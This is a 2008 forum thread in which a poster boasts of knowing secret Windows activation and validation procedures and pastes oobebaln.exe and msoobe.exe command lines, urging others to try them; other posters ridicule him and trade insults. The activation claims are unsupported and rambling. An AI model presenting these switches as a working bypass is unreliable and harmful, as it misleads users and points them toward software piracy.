M S O B C O M M . D L L     M S O B S H E L . D L L  M S O B W E B . D L L  
t a b s r v . d l l  w i n b r a n d . d l l
setup.exe -newsetup -mini

john son <johncityny@hotmail.com> wrote:

And confidential information that the company is based on, if this
information is leaked every thing gone wrong, I know that very well and you
also know very well.
every company has its secrets and hidden things and unfortunately I have
known of all Microsoft® corporation based secrets of MS Wndows®. Dear windows
is based on it’s genuinely and originality,
I know how a copy of windows can be genuine validate, I have known the
complete commands and core procedure of how to do it. I know the complete
code of activating and Genuine validating of MS Windows® in any computer
system, these are the technological measures that make fulfill a copy of
windows® to be original and genuine validated, I also know there latest
changes of this technological measures,
Dear,
  i have also all & full range of genuine and valid Retail Windows
Product id
    there is i have all OEM Windows installation Product ID and much
more....
    do you wanna know about what i have more precious and dear then
this.,
    its about me its about you its about Microsoft its about windows
lets see some of all the happens with me,;
   Do you know??? Do you believe??????What’s this means
of??????
         Windows® PID: %S-%03.3LD-%07.7LD-%S
         **********%systemroot%\system32\oobe\oobebaln.exe /s “mean
what”*********
         %systemroot%\system32\oobe\oobebaln.exe /i /r /u /b /init /c
         %systemroot%\system32\oobe\msoobe.exe /a /update /shellnext
/2nd /xicw /x /3 /2 /1 /loadupdate /update /a /i /r /oobe /setpwd
/offline /preconfig /retail /f
         Do you believe its supports these commands?
         Yes it is try it in Windows® XP Professional. And tell me
about your experience,

           
dear; i wanna your help and supports with my issue , i am 23 years of age
guy with complete computer skills specially MS Windows , i have informed
microsoft about how i can work with and for windows operating system but they
are not ready to response me . dear you know every company has its secrts

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Date: Tue, 19 Feb 2008 22:59:53 -0800
From: asdulh@yahoo.com
Subject: see it now: and decide for me
To: mswwprog@microsoft.com; billgates@chairman.microsoft.com;
info@gatesfoundation.org; 20_88725_vxmpx@chairman.microsoft.com;
media@gatesfoundation.org; piracy@microsoft.com; johncityny@hotmail.com
http://www.microsoft.com/services/Microsoftservices/srv_enterprise.mspx
http://support.microsoft.com/contactussupport/?ws=support
http://windowshelp.microsoft.com/Windows/en-US/default.mspx
http://support.microsoft.com/gp/assistsupport
https://support.microsoft.com/contactus2/chatcontact.aspx?scid=sw;en;1406

mswwprog@microsoft.com
Do you know??? Do you believe??????What’s this means of??????
Windows® PID: %S-%03.3LD-%07.7LD-%S
**********%systemroot%\system32\oobe\oobebaln.exe /s “mean what”*********
%systemroot%\system32\oobe\oobebaln.exe /i /r /u /b /init /c
%systemroot%\system32\oobe\msoobe.exe /a /update /shellnext /2nd /xicw /x /3
/2 /1 /loadupdate /update /a /i /r /oobe /setpwd /offline /preconfig /retail
/f
Do you believe its supports these commands?
Yes it is try it in Windows® XP Professional. And tell me about your
experience,


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i wanna give you best possible solution of your Windows troubleshootings /
operating system problems, Dear, my E-Mail address is johncityny@hotmail.com,
you can feel free to e-mail me any time,

> I am contemplating getting a new Hard Drive (bigger, of course by a large
> margin !) and with the problems I have had with activation in the past,
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>
> So....is there a way to avoid chatting with Sanjay in Bangalore ?
Bill Yanaire - 22 May 2008 15:12 GMT
> i am computer expert
> i think you have not read this????
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>
> read more »

Please contact Alias and he will set you up with Ubuntu.  You are too
stupid for Vista.
John Barnett MVP - 22 May 2008 20:00 GMT
I'd call him arrogant, and egotistical. He certainly thinks a lot of himself

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Please contact Alias and he will set you up with Ubuntu.  You are too
stupid for Vista.
Phil K - 22 May 2008 21:20 GMT
> Please contact Alias and he will set you up with Ubuntu.  You are too
> stupid for Vista.

And you are a boring pea-brained fart.
But it doesn't stop you lecturing others does it Bill ?

(Yet another "Doesn't happen to me, therefore it doesn't happen" pillocks)
John Barnett MVP - 22 May 2008 20:04 GMT
Only terrorists make 'demands,' and they don't get very far. Microsoft owe
you nothing other than, perhaps, legal action for pirating their software.
You are so arrogant it is beyond belief.

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